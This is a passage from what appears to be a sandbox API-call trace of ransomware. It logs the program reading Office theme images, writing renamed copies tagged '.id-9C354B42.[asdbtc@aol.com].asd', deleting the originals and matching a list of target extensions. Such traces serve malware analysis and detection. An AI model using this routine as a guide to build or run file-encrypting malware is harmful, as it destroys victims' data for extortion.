(lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\thmbnail.png")) returned 0x20 [0054.928] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\thmbnail.png.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0054.929] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0054.929] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.929] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.929] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\thmbnail.png.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0054.929] GetLastError () returned 0x0 [0054.929] ReadFile (in: hFile=0x218, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x317fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x317fed4*=0x3d79, lpOverlapped=0x0) returned 1 [0054.933] WriteFile (in: hFile=0x190, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x3d80, lpNumberOfBytesWritten=0x317fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x317fc9c*=0x3d80, lpOverlapped=0x0) returned 1 [0054.934] ReadFile (in: hFile=0x218, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x317fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x317fed4*=0x0, lpOverlapped=0x0) returned 1 [0054.934] WriteFile (in: hFile=0x190, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x317fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x317fc9c*=0xec, lpOverlapped=0x0) returned 1 [0054.934] SetEndOfFile (hFile=0x190) returned 1 [0054.934] CloseHandle (hObject=0x190) returned 1 [0054.934] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.934] SetEndOfFile (hFile=0x218) returned 1 [0055.304] CloseHandle (hObject=0x218) returned 1 [0055.310] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x20) returned 1 [0055.310] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\thmbnail.png")) returned 1 [0055.311] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0055.311] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0055.311] lstrlenW (lpString=".doc") returned 4 [0055.311] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0055.311] lstrlenW (lpString=".docx") returned 5 [0055.311] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0055.311] lstrlenW (lpString=".pdf") returned 4 [0055.311] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0055.311] lstrlenW (lpString=".xls") returned 4 [0055.311] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0055.311] lstrlenW (lpString=".xlsx") returned 5 [0055.311] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0055.311] lstrlenW (lpString=".ppt") returned 4 [0055.311] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0055.311] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0055.311] lstrlenW (lpString=".zip") returned 4 [0055.311] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0055.311] lstrlenW (lpString=".rar") returned 4 [0055.311] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0055.311] lstrlenW (lpString=".bz2") returned 4 [0055.312] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0055.312] lstrlenW (lpString=".7z") returned 3 [0055.312] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0055.312] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0055.312] lstrlenW (lpString=".dbf") returned 4 [0055.312] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0055.312] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0055.312] lstrlenW (lpString=".1cd") returned 4 [0055.312] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0055.312] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0055.312] lstrlenW (lpString=".jpg") returned 4 [0055.312] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0055.312] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0055.312] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0055.312] lstrlenW (lpString=".doc") returned 4 [0055.312] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0055.312] lstrlenW (lpString=".docx") returned 5 [0055.312] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0055.312] lstrlenW (lpString=".pdf") returned 4 [0055.312] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0055.312] lstrlenW (lpString=".xls") returned 4 [0055.312] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0055.312] lstrlenW (lpString=".xlsx") returned 5 [0055.312] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0055.312] lstrlenW (lpString=".ppt") returned 4 [0055.313] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0055.313] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0055.313] lstrlenW (lpString=".zip") returned 4 [0055.313] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0055.313] lstrlenW (lpString=".rar") returned 4 [0055.313] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0055.313] lstrlenW (lpString=".bz2") returned 4 [0055.313] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0055.313] lstrlenW (lpString=".7z") returned 3 [0055.313] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0055.313] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0055.313] lstrlenW (lpString=".dbf") returned 4 [0055.313] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0055.313] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0055.313] lstrlenW (lpString=".1cd") returned 4 [0055.313] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0055.313] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0055.313] lstrlenW (lpString=".jpg") returned 4 [0055.313] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0055.313] lstrcmpiW (lpString1=".PNG", lpString2=".asd") returned 1 [0055.313] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0055.314] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0055.854] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x317ff1c | out: lpFileSize=0x317ff1c*=31975) returned 1 [0055.854] CloseHandle (hObject=0x204) returned 1 [0055.854] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\thmbnail.png")) returned 0x20 [0055.854] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\thmbnail.png.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0055.854] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0055.855] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.862] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.862] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\thmbnail.png.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0055.875] GetLastError () returned 0x0 [0055.875] ReadFile (in: hFile=0x204, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x317fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x317fed4*=0x7ce7, lpOverlapped=0x0) returned 1 [0055.913] WriteFile (in: hFile=0x168, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x7cf0, lpNumberOfBytesWritten=0x317fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x317fc9c*=0x7cf0, lpOverlapped=0x0) returned 1 [0055.915] ReadFile (in: hFile=0x204, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x317fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x317fed4*=0x0, lpOverlapped=0x0) returned 1 [0055.915] WriteFile (in: hFile=0x168, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x317fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x317fc9c*=0xec, lpOverlapped=0x0) returned 1 [0055.915] SetEndOfFile (hFile=0x168) returned 1 [0055.915] CloseHandle (hObject=0x168) returned 1 [0055.915] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.916] SetEndOfFile (hFile=0x204) returned 1 [0055.917] CloseHandle (hObject=0x204) returned 1 [0055.917] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x20) returned 1 [0055.917] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\thmbnail.png")) returned 1 [0055.917] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75 [0055.917] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75 [0055.917] lstrlenW (lpString=".doc") returned 4 [0055.917] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0055.917] lstrlenW (lpString=".docx") returned 5 [0055.917] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0055.917] lstrlenW (lpString=".pdf") returned 4 [0055.917] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0055.917] lstrlenW (lpString=".xls") returned 4 [0055.917] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0055.917] lstrlenW (lpString=".xlsx") returned 5 [0055.917] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0055.917] lstrlenW (lpString=".ppt") returned 4 [0055.918] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0055.918] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75 [0055.918] lstrlenW (lpString=".zip") returned 4 [0055.918] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0055.918] lstrlenW (lpString=".rar") returned 4 [0055.918] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0055.918] lstrlenW (lpString=".bz2") returned 4 [0055.918] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0055.918] lstrlenW (lpString=".7z") returned 3 [0055.918] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0055.918] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75 [0055.918] lstrlenW (lpString=".dbf") returned 4 [0055.918] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0055.918] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75 [0055.918] lstrlenW (lpString=".1cd") returned 4 [0055.918] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0055.918] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75 [0055.918] lstrlenW (lpString=".jpg") returned 4 [0055.918] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0055.918] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75 [0055.918] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75 [0055.918] lstrlenW (lpString=".doc") returned 4 [0055.918] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0055.918] lstrlenW (lpString=".docx") returned 5 [0055.918] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0055.918] lstrlenW (lpString=".pdf") returned 4 [0055.918] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0055.918] lstrlenW (lpString=".xls") returned 4 [0055.918] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0055.919] lstrlenW (lpString=".xlsx") returned 5 [0055.919] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0055.919] lstrlenW (lpString=".ppt") returned 4 [0055.919] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0055.919] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75 [0055.919] lstrlenW (lpString=".zip") returned 4 [0055.919] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0055.919] lstrlenW (lpString=".rar") returned 4 [0055.919] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0055.919] lstrlenW (lpString=".bz2") returned 4 [0055.919] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0055.919] lstrlenW (lpString=".7z") returned 3 [0055.919] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0055.919] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75 [0055.919] lstrlenW (lpString=".dbf") returned 4 [0055.919] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0055.919] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75 [0055.919] lstrlenW (lpString=".1cd") returned 4 [0055.919] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0055.919] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75 [0055.919] lstrlenW (lpString=".jpg") returned 4 [0055.919] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0055.919] lstrcmpiW (lpString1=".GIF", lpString2=".asd") returned 1 [0055.919] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0055.919] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0055.920] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x317ff1c | out: lpFileSize=0x317ff1c*=2527) returned 1 [0055.920] CloseHandle (hObject=0x204) returned 1 [0055.920] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\preview.gif")) returned 0x20 [0055.920] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\preview.gif.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0055.920] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0055.920] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.920] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.920] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\preview.gif.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0055.930] GetLastError () returned 0x0 [0055.930] ReadFile (in: hFile=0x204, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x317fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x317fed4*=0x9df, lpOverlapped=0x0) returned 1 [0055.931] WriteFile (in: hFile=0x1f4, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x9e0, lpNumberOfBytesWritten=0x317fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x317fc9c*=0x9e0, lpOverlapped=0x0) returned 1 [0055.932] ReadFile (in: hFile=0x204, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x317fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x317fed4*=0x0, lpOverlapped=0x0) returned 1 [0055.932] WriteFile (in: hFile=0x1f4, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x317fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x317fc9c*=0xea, lpOverlapped=0x0) returned 1 [0055.932] SetEndOfFile (hFile=0x1f4) returned 1 [0055.933] CloseHandle (hObject=0x1f4) returned 1 [0055.933] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.933] SetEndOfFile (hFile=0x204) returned 1 [0055.934] CloseHandle (hObject=0x204) returned 1 [0055.934] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x20) returned 1 [0055.934] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\preview.gif")) returned 1 [0055.934] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF") returned 74 [0055.935] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF") returned 74 [0055.935] lstrlenW (lpString=".doc") returned 4 [0055.935] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0055.935] lstrlenW (lpString=".docx") returned 5 [0055.935] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0055.935] lstrlenW (lpString=".pdf") returned 4 [0055.935] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0055.935] lstrlenW (lpString=".xls") returned 4 [0055.935] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0055.935] lstrlenW (lpString=".xlsx") returned 5 [0055.935] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0055.935] lstrlenW (lpString=".ppt") returned 4 [0055.935] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0055.935] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF") returned 74 [0055.935] lstrlenW (lpString=".zip") returned 4 [0055.935] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0055.935] lstrlenW (lpString=".rar") returned 4 [0055.935] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0055.935] lstrlenW (lpString=".bz2") returned 4 [0055.935] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0055.935] lstrlenW (lpString=".7z") returned 3 [0055.935] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0055.935] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF") returned 74 [0055.935] lstrlenW (lpString=".dbf") returned 4 [0055.935] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0055.935] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF") returned 74 [0055.935] lstrlenW (lpString=".1cd") returned 4 [0055.935] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0055.935] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF") returned 74 [0055.935] lstrlenW (lpString=".jpg") returned 4 [0055.935] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0055.936] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF") returned 74 [0055.936] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF") returned 74 [0055.936] lstrlenW (lpString=".doc") returned 4 [0055.936] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0055.936] lstrlenW (lpString=".docx") returned 5 [0055.936] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0055.936] lstrlenW (lpString=".pdf") returned 4 [0055.936] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0055.936] lstrlenW (lpString=".xls") returned 4 [0055.936] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0055.936] lstrlenW (lpString=".xlsx") returned 5 [0055.936] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0055.936] lstrlenW (lpString=".ppt") returned 4 [0055.936] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0055.936] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF") returned 74 [0055.936] lstrlenW (lpString=".zip") returned 4 [0055.936] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0055.936] lstrlenW (lpString=".rar") returned 4 [0055.936] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0055.936] lstrlenW (lpString=".bz2") returned 4 [0055.936] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0055.936] lstrlenW (lpString=".7z") returned 3 [0055.936] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0055.936] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF") returned 74 [0055.936] lstrlenW (lpString=".dbf") returned 4 [0055.936] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0055.936] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF") returned 74 [0055.936] lstrlenW (lpString=".1cd") returned 4 [0055.936] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0055.936] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF") returned 74 [0055.936] lstrlenW (lpString=".jpg") returned 4 [0055.936] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0055.937] lstrcmpiW (lpString1=".GIF", lpString2=".asd") returned 1 [0055.937] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0055.937] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0055.937] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x317ff1c | out: lpFileSize=0x317ff1c*=1737) returned 1 [0055.937] CloseHandle (hObject=0x204) returned 1 [0055.937] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF" 